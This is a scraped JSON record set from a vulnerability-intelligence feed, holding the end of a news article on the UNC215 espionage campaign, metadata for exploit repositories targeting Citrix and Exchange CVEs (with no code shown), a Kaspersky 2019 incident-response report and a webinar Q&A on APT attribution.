backdoor in response to security vendor reports, concealing command-and-control (C2) infrastructure by using other victim networks to proxy their C2 instructions, and even incorporating false flags in an attempt to mislead attribution.\n\nTo that effect, the group deployed a custom web shell called SEASHARPEE that's associated with Iranian APT groups on at least three occasions, and even used file paths containing references to Iran and displayed error messages in Arabic likely to obfuscate the source of the activity.\n\nWhat's more, in a 2019 operation against an Israeli government network, UNC215 obtained access to the primary target via remote desktop protocol (RDP) connections from a trusted third-party using stolen credentials, abusing it to deploy and remotely execute the FOCUSFJORD malware, the cybersecurity firm noted.\n\n\"The activity [...] demonstrates China's consistent strategic interest in the Middle East,\" the researchers concluded. \"This cyber espionage activity is happening against the backdrop of China's multi-billion-dollar investments related to the Belt and Road Initiative ([BRI](<https://en.wikipedia.org/wiki/Belt_and_Road_Initiative>)) and its interest in Israeli's robust technology sector.\"\n\n\"China has conducted numerous intrusion campaigns along the BRI route to monitor potential obstructions\u2014political, economic, and security\u2014and we anticipate that UNC215 will continue targeting governments and organizations involved in these critical infrastructure projects in Israel and the broader Middle East in the near- and mid-term,\" the teams added.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T13:19:00", "type": "thn", "title": "Experts Believe Chinese Hackers Are Behind Several Attacks Targeting Israel", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": 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"description": "# CVE-2019-19781 \n\nTo use this scanner goto https://cve-2019-197...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-14T21:54:08", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, 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"2022-07-02T08:18:59", "id": "C790841B-11B6-5497-B6DB-EF8A56DD8A0C", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-20T15:02:06", "description": "# CVE-2019-19781\n\n\u652f\u6301\u6279\u91cf\u68c0\u6d4b\n\nUsage:\n\n...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-10T02:05:51", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, 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7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-20T23:15:01", "description": "# CVE-2019-19781\nRemote Code Execution Exploit for C...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-11T07:16:23", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": 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CVE-2019-19781\n\nThis was only uploaded due to other researcher...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-11T00:08:27", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": 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"AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:12:24", "description": "[ - RED TEAM [MOD...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-06-12T08:28:35", "type": "githubexploit", "title": "Exploit for Improper Authentication in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-07-02T07:14:36", "id": "AC9BE6BA-8352-57D6-80E3-8BB62A0D31C2", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:35:26", "description": "# CVE-2020-0688 Scanner\nThis is a little dirty Script to Check f...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T23:55:04", "type": "githubexploit", "title": "Exploit for Improper Authentication in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-12-15T14:38:28", "id": "A7CA20BB-BCF9-52C0-A708-01F9ADECB1AC", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}], "securelist": [{"lastseen": "2020-08-07T08:03:43", "description": "\n\n[ Download full report (PDF)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/06094905/Kaspersky_Incident-Response-Analyst_2020.pdf>)\n\nAs an incident response service provider, Kaspersky delivers a global service that results in global visibility of adversaries' cyber-incident tactics and techniques used in the wild. In this report, we share our teams' conclusions and analysis based on incident responses and statistics from 2019. As well as a range of highlights, this report will cover the affected industries, the most widespread attack tactics and techniques, how long it took to detect and stop adversaries after initial entry and the most exploited vulnerabilities. The report also provides some high-level recommendations on how to increase resilience to attacks.\n\nThe insights used in this report come from incident investigations by Kaspersky teams from around the world. The main digital forensic and incident response operations unit is called the Global Emergency Response Team (GERT) and includes experts in Europe, Latin America, North America, Russia and the Middle East. The work of the Computer Incidents Investigation Unit (CIIU) and the Global Research and Analysis Team (GReAT) are also included in this report.\n\n## Executive summary\n\nIn 2019, we noticed greater commitment among victims to understand the root causes of cyberattacks and improve the level of cybersecurity within their environments to reduce the probability of similar attacks taking place again in the future.\n\nAnalysis showed that less than a quarter of received requests turned out to be false positives, mostly after security tools issued alerts about suspicious files or activity. The majority of true positive incidents were triggered by the discovery of suspicious files, followed by encrypted files, suspicious activity and alerts from security tools.\n\nMost of the incident handling requests were received from the Middle East, Europe, the CIS and Latin America, from a wide spectrum of business sectors, including industrial, financial, government, telecoms, transportation and healthcare. Industrial businesses were the most affected by cyberattacks, with oil and gas companies leading the way. They were followed by financial institutions, dominated by banks, which bore the brunt of all money theft incidents in 2019. Ransomware's presence continued in 2019 and was felt most by government bodies, telecoms and IT companies in various regions.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05105355/sl_incident_response_01.png>)\n\n### \n\n### Verticals and industries\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05105442/sl_incident_response_02.png>)\n\nAdversaries used a variety of initial vectors to compromise victims' environments. Initial vectors included exploitation, misconfiguration, insiders, leaked credentials and malicious removable media. But the most common were exploitation of unpatched vulnerabilities, malicious emails, followed by brute-force attacks.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05110209/sl_incident_response_03.png>)\n\nIn addition to exploiting vulnerabilities, adversaries used several legitimate tools in different attack phases. This made attacks harder to discover and allowed the adversaries to keep a low profile until their goals were achieved. Most of the legitimate tools were used for credential harvesting from live systems, evading security, network discovery and unloading security solutions.\n\nAlthough we started working on incidents the first day of a request in 70% of cases, analysis revealed that the time between attack success and its discovery varies between an average of one day in ransomware incidents to 10 days in cases of financial theft, up to 122 days in cyber-espionage and data-theft operations.\n\n## Recommendations\n\nBased on 2019 incident response insights, applying the following recommendations can help protect businesses from falling victim to similar attacks:\n\n * Apply complex password policies\n * Avoid management interfaces exposed to the internet\n * Only allow remote access for necessary external services with multi-factor authentication \u2013 with necessary privileges only\n * Regular system audits to identify vulnerable services and misconfigurations\n * Continually tune security tools to avoid false positives\n * Apply powerful audit policy with log retention period of at least six months\n * Monitor and investigate all alerts generated by security tools\n * Patch your publicly available services immediately\n * Enhance your email protection and employee awareness\n * Forbid use of PsExec to simplify security operations\n * Threat hunting with rich telemetry, specifically deep tracing of PowerShell to detect attacks\n * Quickly engage security operations after discovering incidents to reduce potential damage and/or data loss\n * Back up your data frequently and on separated infrastructure\n\n \n\n## Reasons for incident response\n\nSignificant effects on infrastructure, such as encrypted assets, money loss, data leakage or suspicious emails, led to 30% of requests for investigations. More than 50% of requests came as a result of alerts in security toolstacks: endpoint (EPP, EDR), network (NTA) and others (FW, IDS/IPS, etc.).\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05110347/sl_incident_response_04.png>)\n\nOrganizations often only become aware of an incident after a noticeable impact, even when standard security toolstacks have already produced alerts identifying some aspects of the attack. Lack of security operations staff is the most common reason for missing these indicators. Suspicious files identified by security operations and suspicious endpoint activity led to the discovery of an incident in 75% of cases, while suspicious network activities in 60% of cases were false positives.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05110436/sl_incident_response_05.png>)\n\nOne of the most common reasons for an incident response service request is a ransomware attack: a challenge even for mature security operations. For more details on types of ransomware and how to combat it, view our story "[Cities under ransomware siege](<https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/>)".\n\n \n\n## Distribution of reasons for top regions\n\nA suspicious file is the most prevalent reason to engage incident response services. This shows that file-oriented detection is the most popular approach in many organizations. The distribution also shows that 100% of cases involving financial cybercrime and data leakage that we investigated occurred in CIS countries.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05110519/sl_incident_response_06.png>)\n\n## Distribution of reasons for industries\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05110612/sl_incident_response_07.png>)\n\nAlthough, different industries suffered from different incidents, 100% of money theft incidents occurred inside the financial industry (banks).\n\nDetection of ransomware once the repercussions had been felt occurred primarily within the government, telecom and IT sectors.\n\n## Initial vectors or how adversaries get in\n\nCommon initial vectors include the exploitation of vulnerabilities (0- and 1-day), malicious emails and brute-force attacks. Patch management for 1-day vulnerabilities and applying password policies (or not using management interfaces on the internet) are well suited to address most cases. 0-day vulnerabilities and social engineering attacks via email are much harder to address and require a decent level of maturity from internal security operations.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05110706/sl_incident_response_08.png>)\n\nBy linking the popular initial compromise vectors with how an incident was detected, we can see detected suspicious files were detected from malicious emails. And cases detected after file encryption mostly took place after brute-force or vulnerability exploitation attacks. \nSometimes we act as complimentary experts for a primary incident response team from the victim's organization and we have no information on all of their findings \u2013 hence the 'Unknown reasons' on the charts. Malicious emails are most likely to be detected by a variety of security toolstack, but that's not showing distrubution of 0- to 1-day vulnerabilities.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05110805/sl_incident_response_09.png>)\n\nThe distribution of how long an attack went unnoticed and how an organization was compromised shows that cases that begin with vulnerability exploitation on an organization's network perimeter went unnoticed for longest. Social enginnering attacks via email were the most short-lived.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05110857/sl_incident_response_10.png>)\n\n## Tools and exploits\n\n### 30% of all incidents were tied to legitimate tools\n\nIn cyberattacks, adversaries use legitimate tools which can't be detected as malicious utilities as they are often used in everyday activities. Suspicious events that blend with normal activity can be identified after deep analysis of a malicious attack and connecting the use of such tools to the incident. The top used tools are PowerShell, PsExec, SoftPerfect Network Scanner and ProcDump.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05110943/sl_incident_response_11.png>)\n\nMost legitimate tools are used for harvesting credentials from memory, evading security mechanisms by unloading security solutions and for discovering services in the network. PowerShell can be used virtually for any task.\n\nLet's weight those tools based on occurrence in incidents \u2013 we will also see tactics (MITRE ATT&CK) where they are usually applied.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05111024/sl_incident_response_12.png>)\n\n### Exploits\n\nMost of the identified exploits in incident cases appeared in 2019 along with a well-known remote code execution vulnerability in Windows SMB service (MS17-010) being actively exploited by a large number of adversaries.\n\n**MS17-010** _SMB service in Microsoft Windows_ \nRemote code execution vulnerability that was used in several large attacks such as WannaCry, NotPetya, WannaMine, etc. | **CVE-2019-0604** _Microsoft Sharepoint_ \nRemote code execution vulnerability allows adversaries to execute arbitrary code without authentication in Microsoft Sharepoint. | **CVE-2019-19781** _Citrix Application Delivery Controller & Citrix Gateway_ \nThis vulnerability allows unauthenticated remote code execution on all hosts connected to Citrix infrastructure. \n---|---|--- \n**CVE-2019-0708** _RDP service in Microsoft Windows_ \nRemote code execution vulnerability (codename: BlueKeep) for a very widespread and, unfortunately, frequently publicly available RDP service. | **CVE-2018-7600** _Drupal_ \nRemote code execution vulnerability also known as Drupalgeddon2. Widely used in installation of backdoors, web miners and other malware on compromised web servers. | **CVE-2019-11510** _Pulse Secure SSL VPN_ \nUnauthenticated retrieval of VPN server user credentials. Instant access to victim organization through legitimate channel. \n \n## Attack duration\n\nFor a number of incidents, Kaspersky specialists have established the time period between the beginning of an adversary's activity and the end of the attack. As a result of the subsequent analysis, all incidents were divided into three categories of attack duration.\n\n**Rush hours or days** | **Average weeks** | **Long-lasting months or longer** \n---|---|--- \nThis category includes attacks lasting up to a week. These are mainly incidents involving ransomware attacks. Due to the high speed of development, effective counteraction to these attacks is possible only by preventive methods. \nIn some cases, a delay of up to a week has been observed between the initial compromise and the beginning of the adversary's activity. | This group includes attacks that have been developing for a week or several weeks. In most cases, this activity was aimed at the direct theft of money. Typically, the adversaries achieved their goals within a week. | Incidents that lasted more than a month were included in this group. This activity is almost always aimed at stealing sensitive data. \nSuch attacks are characterized by interchanging active and passive phases. The total duration of active phases is on average close to the duration of attacks from the previous group. \n**Common threat:** \nRansomware infection | **Common threat:** \nFinancial theft | **Common threat:** \nCyber-espionage and theft of confidential data \n**Common attack vector:**\n\n * Downloading of a malicious file by link in email\n * Downloading of a malicious file from infected site\n * Exploitation of vulnerabilities on network perimeter\n * Credentials brute-force attack\n| **Common attack vector:**\n\n * Downloading a malicious file by link in email\n * Exploitation of vulnerabilities on network perimeter\n| **Common attack vector:**\n\n * Exploitation of vulnerabilities on network perimeter \n**Attack duration (median):** \n1 day | **Attack duration (median):** \n10 days | **Attack duration (median):** \n122 days \n**Incident response duration:** \nHours to days | **Incident response duration:** \nWeeks | **Incident response duration:** \nWeeks \n \n## Operational metrics\n\n### False positives rate\n\nFalse positives in incident responses are a very expensive exercise. A false positive means that triage of a security event led to the involvement of incident response experts who later ascertained that there was no incident. Usually this is a sign that an organization doesn't have a specialist in threat hunting or they are managed by an external SOC that doesn't have the full context for an event.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05111207/sl_incident_response_13.png>)\n\n### Age of attack\n\nThis is the time taken to detect an incident by an organization after an attack starts. Usually detecting the attack in the first few hours or even days is good; with more low-profile attacks it can take weeks, which is still OK, but taking months or years is definitely bad.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05111254/sl_incident_response_14.png>)\n\n## How fast we responded\n\nHow long it took us to respond after an organization contacted us. 70% of the time we start work from day one, but in some cases a variety of factors can influence the timeframe.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05111342/sl_incident_response_15.png>)\n\n## How long response took\n\nDistribution of the time required for incident response activities can vary from a few hours to months based on how deep the adversaries were able to dig into the compromised network and how old the first compromise is.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05111429/sl_incident_response_16.png>)\n\n## **MITRE ATT&CK tactics and techniques**\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05111538/sl_incident_response_17.png>)\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05111649/sl_incident_response_18.png>)\n\n## Conclusion\n\nIn 2019, the cyberattack curve was not flattened. There was an increase in the number of incidents accompanied by greater commitment among victims to understand the full attack picture. Victims from all regions suffered from a variety of attacks and all business types were targeted.\n\nImproved security and audit planning with continuous maintenance of procedures along with rapid patch management could have minimized damages and losses in many of the analyzed incidents. In addition, having security monitoring and an investigation plan either on-premises or performed by a third party could have helped in stopping adversaries in the early phases of the attack chain, or start detections immediately after compromise.\n\nVarious tactics and techniques were used by adversaries to achieve their targets, trying multiple times till they succeeded. This indicates the importance of security being an organized process with continuous improvements instead of separate, independent actions.\n\nAdversaries made greater use of legitimate tools in different phases of their cyberattacks, especially in the early phases. This highlights the need to monitor and justify the use of legitimate administration tools and scanning utilities within internal networks, limiting their use to administrators and necessary actions only.\n\nApplying a powerful auditing policy with a log retention period of at least six months can help reduce analysis times during incident investigation and help limit the types of damage caused. Having insufficient logs on endpoints and network levels means it takes longer to collect and analyze evidence from different data sources in order to gain a complete picture of an attack.", "cvss3": {}, "published": "2020-08-06T10:00:34", "type": "securelist", "title": "Incident Response Analyst Report 2019", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2018-7600", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-11510", "CVE-2019-19781"], "modified": "2020-08-06T10:00:34", "id": "SECURELIST:35644FF079836082B5B728F8E95F0EDD", "href": "https://securelist.com/incident-response-analyst-report-2019/97974/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-08-07T08:03:43", "description": "\n\nOn June 17, we hosted our first "GReAT Ideas. Powered by SAS" session, in which several experts from our Global Research and Analysis Team shared insights into APTs and threat actors, attribution, and hunting IoT threats.\n\nHere is a brief summary of the agenda from that webinar:\n\n * Linking attacks to threat actors: case studies by Kurt Baumgartner\n * Threat hunting with Kaspersky's new malware attribution engine by Costin Raiu\n * Microcin-2020: GitLab programmers ban, async sockets and the sock by Denis Legezo\n * The next generation IoT honeypots by Dan Demeter, Marco Preuss, and Yaroslav Shmelev\n\nSadly, the two hours of the session were not enough for answering all of the questions raised, therefore we try to answer them below. Thanks to everyone who participated, and we appreciate all the feedback and ideas!\n\n## Questions about threat actors and APTs\n\n 1. _How do you see Stonedrill deployment comparing now? Its discovery was based on lucky structural similarities with Shamoon, but do you see it actively used or correlating to the spread of this malware?_\n\nThere is some 2020 activity that looks like it could be Stonedrill related, but, in all likelihood, it is not. We are digging through details and trying to make sense of the data. Regardless, wiper activity in the Middle East region from late 2019 into early 2020 deployed code dissimilar to Stonedrill but more similar to Shamoon wipers. We stuck with the name "Dustman" \u2013 it implemented the Eldos ElRawDsk drivers. Its spread did not seem Stonedrill related.\n\nAt the same time, no, the Stonedrill discovery was not based on luck. And, there are multiple overlaps between Shamoon 2.0 and Stonedrill that you may review under "Download full report" in '[From Shamoon to StoneDrill](<https://securelist.com/from-shamoon-to-stonedrill/77725/>)' blogpost. You might note that Stonedrill is a somewhat more refined and complex code, used minimally.\n\nWhile the Shamoon spreader shared equivalent code with Orangeworm's Kwampirs spreader, and are closely linked, we have not seen the same level of similarity with Stonedrill. However, several of the Shamoon 2.0 executables share quite a few unique genotypes with both Stonedrill and Kwampirs. In the above paper, we conclude that Stonedrill and Shamoon are most likely spread by two separate groups with aligned interests for reasons explained in the report PDF. Also, it may be that some of the codebase, or some of the resources providing the malware, are shared.\n 2. _Do the authors of Shamoon watch these talks?_\n\nPerhaps. We know that not only do offensive actors and criminals attempt to reverse-engineer and evade our technologies, but they attempt to attack and manipulate them over time. Attending a talk or downloading a video later is probably of interest to any group.\n 3. _Are there any hacker-for-hire groups that are at the top level? How many hacker-for-hire groups do you see? Are there any hacker-for-hire groups coming out of the West?_\n\nYes. There are very capable and experienced hack-for-hire groups that have operated for years. We do not publicly report on all of them, but some come up in the news every now and then. At the beginning of 2019, Reuters reported insightful content on a top-level mercenary group and their Project Raven in the Middle East, for example. Their coordination, technical sophistication and agile capabilities were all advanced. In addition to the reported challenges facing the Project Raven group, some of these mercenaries may be made up of a real global mix of resources, presenting moral and ethical challenges.\n 4. _I assume Sofacy watches these presentations. Has their resistance to this analysis changed over time?_\n\nAgain, perhaps they do watch. In all likelihood, what we call "Sofacy" is paying attention to our research and reporting like all the other players.\n\nSofacy is an interesting case as far as their resistance to analysis: their main backdoor, SPLM/CHOPSTICK/X-Agent, was modular and changed a bit over the course of several years, but much of that code remained the same. Every executable they pushed included a modified custom encryption algorithm to hide away configuration data if it was collected. So, they were selectively resistant to analysis. Other malware of theirs, X-Tunnel, was re-coded in .Net, but fundamentally, it is the same malware. They rotated through other malware that seems to have been phased out and may be re-used at some point.\n\nThey are a prolific and highly active APT. They added completely new downloaders and other new malware to their set. They put large efforts into non-executable-based efforts like various credential harvesting techniques. So, they have always been somewhat resistant to analysis, but frequently leave hints in infrastructure and code across all those efforts.\n\nZebrocy, a subset of Sofacy, pushed malware with frequent changes by recoding their malware in multiple languages, but often maintain similar or the same functionality over the course of releases and re-releases. This redevelopment in new and often uncommon languages can be an issue, but something familiar will give it away.\n 5. _Have we seen a trend for target countries to pick up and use tools/zero-days/techniques from their aggressors? Like, is Iran more likely to use Israeli code, and vice versa?_\n\nFor the most part, no, we don't see groups repurposing code potentially only known to their adversary and firing it right back at them, likely because the adversary knows how to, and probably is going to watch for blowback.\n\nTangentially, code reuse isn't really a trend, because offensive groups have always picked up code and techniques from their adversaries, whether or not these are financially motivated cybercriminal groups or APT. And while we have mentioned groups "returning fire" in the past, like Hellsing [returning spear-phish](<https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/>) on the Naikon APT, a better example of code appropriation is VictorianSambuca or Bemstour. We talked about it at our T3 gathering in Cancun in October. It was malware containing an interesting zero-day exploit that was collected, re-purposed, touched up and re-deployed by APT3, HoneyMyte and others. But as far as we know, the VictorianSambuca package was picked up and used against targets other than its creator.\n\nAlso, somewhere in the Darkhotel/Lazarus malware sets, there may be some code blowback, but those details haven't yet been hammered out. So, it does happen here and there, maybe out of necessity, maybe to leave a calling card and shout-out, or to confuse matters.\n 6. _If using API-style programming makes it easier to update malware, why don't more threat actors use it?_\n\nI think here we are talking about Microcin last-stage trojan exported function callbacks. Nobody could tell for sure, but from my point of view, it's a matter of the programmer's experience. The "senior" one takes a lot into consideration during development, including architectural approach, which could make maintenance easier in the future.\n\nThe "junior" one just solves the trojan's main tasks: spying capabilities, adds some anti-detection, anti-analysis tricks, and it's done. So maybe if the author has "normal" programming experience, he carefully planned data structures, software architecture. Seems like not all of the actors have developers like that.\n 7. _Have you seen proxying/tunneling implants using IOTs for APT operations, such as the use of SNMP by CloudAtlas? Do you think that's a new way to penetrate company networks? Have you ever encountered such cases?_\n\nWe watched the massive Mirai botnets for a couple years, waiting to see an APT takeover or repurposing, and we didn't find evidence that it happened. Aside from that, yes, APT are known to have tunneled through a variety of IOT to reach their intended targets. IOT devices like security web cams and their associated network requirements need to be hardened and reviewed, as their network connections may lead to an unintended exposure of internal resources.\n\nWith elections around the world going on, municipalities and government agencies contracting with IT companies need to verify attack surface hardening and understand that everything, from their Internet-connected parking meters to connected light bulbs, can be part of a targeted attack, or be misused as a part of an incident.\n 8. _How often do you see steganography like this being used by other actors? Any other examples?_\n\nSteganography isn't used exclusively by the SixLittleMonkeys actor for sure. We could also mention here such malware as NetTraveller, Triton, Shamoon, Enfal, etc. So, generally, we could say the percentage of steganography usage among all the malicious samples is quite low, but it happens from time to time.\n\nThe main reason to use it from malefactors' point of view is to conceal not just the data itself but the fact that data is being uploaded or downloaded. E.g. it could help to bypass deep packet inspection (DPI) systems, which is relevant for corporate security perimeters. Use of steganography may also help bypass security checks by anti-APT products, if the latter cannot process all image files.\n\n## Questions about KTAE (Kaspersky Threat Attribution Engine)\n\nFor more information, please also have a look at our previous blogpost, [Looking at Big Threats Using Code Similarity. Part 1](<https://securelist.com/big-threats-using-code-similarity-part-1/97239/>), as well as at our [product page](<https://www.kaspersky.com/enterprise-security/cyber-attack-attribution-tool>).\n\n 9. _What are "genotypes"?_ \nGenotypes are unique fragments of code, extracted from a malware sample.\n 10. _How fine-grained do you attribute the binaries? Can you see shared authors among the samples?_ \nKTAE does not include author information per se. You can see shared relevant code and strings overlaps.\n 11. _Are genotypes and YARA rules connected?_ \nNot directly. But you can use genotypes to create effective YARA rules, since the YARA engine allows you to search for byte sequences.\n 12. _How many efforts do you see for groups to STEAL+REUSE attribution traces on purpose?_ \nWe have seen such efforts and reported about them, for example with [OlympicDestroyer](<https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/>)\n 13. _How do you go about removing third-party code sharing?_ \nWe incorporated our own intelligence to only match on relevant parts of the samples.\n 14. _Do genotypes work on different architectures, like MIPS, ARM, etc.? I'm thinking about IoT malware._ \nYes, they work with any architecture.\n 15. _What determines your "groundtruth"?_ \nGroundtruth is a collection of samples based on our 20+ years of research and classification of malware.\n 16. _Can KATE be implemented in-house?_ \nWe offer multiple options for deploying KTAE. Please get in touch with us for more info: https://www.kaspersky.com/enterprise-security/cyber-attack-attribution-tool.\n 17. _For the attribution engine, would you expect APT-group malware authors to start integrating more external code chunks from other groups to try to evade attribution?_ \nWe see such behavior; please refer to Question 12 above.\n 18. _Do you feel more manufacturers will follow Kaspersky's suit in letting victims know the threat actors behind malware detections on endpoints?_ \nAt the moment, KTAE is a standalone solution not integrated in endpoints.\n 19. _What is the parameter for looking at the similarity in malware code? 